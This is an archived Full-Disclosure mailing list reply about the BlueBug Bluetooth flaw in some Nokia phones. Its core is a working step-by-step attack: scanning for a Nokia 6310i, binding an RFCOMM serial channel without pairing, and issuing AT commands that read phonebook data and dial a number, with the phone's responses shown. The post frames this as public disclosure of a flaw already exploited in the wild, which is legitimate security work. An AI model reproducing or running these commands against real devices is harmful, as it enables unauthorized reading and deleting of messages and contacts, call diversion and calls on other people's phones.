full-disclosure - Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <41DA9E2B.4000908@freebsd.lublin.pl>
From: venglin at freebsd.lublin.pl (Przemyslaw Frasunek)
Subject: Re: Bluetooth: BlueSnarf and BlueBug Full
	Disclusore

Adam Laurie napisa?(a):
 > Details of the attacks were disclosed at the Chaos Computer Club's annual
 > congress in Berlin - 21C3:

According to the [1], not all details were disclosed. Actually, there is no 
reason for keeping them secret here, while they are well known and actively 
exploited in the blackhat community.

The Bluebug, as described on [1] is trivially exploitable on some non-Symbian 
Nokia phones. It allows attacker to create serial profile connection without 
pairing or asking for permission, therefore it gives unauthorized access to all 
AT commands. It is possible to read/delete/send SMS messages, add/view/delete 
phonebook entries, change call diverts, initiate voice or data call.

Demonstration on Nokia 6310i:

laptop:~# hcitool scan
Scanning ...
         00:60:57:38:8C:D8       Nokia 6310i
laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17

Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for 
example:

laptop:~# cu -l rfcomm0 -s 9600
Connected.
[ATE1]
OK
ATI
Nokia

OK
AT+CPBS?
+CPBS: "SM",0,100

OK
AT+CPBR=?
+CPBR: (1-100),48,18

OK
ATDT+48609xxxxxx
OK

As you can see, the bug is really trivial and looks rather like backdoor.

[1] - http://www.thebunker.net/security/bluetooth.htm
[2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx
[3] - http://www.gnokii.org/

-- 
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: venglin@...ber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *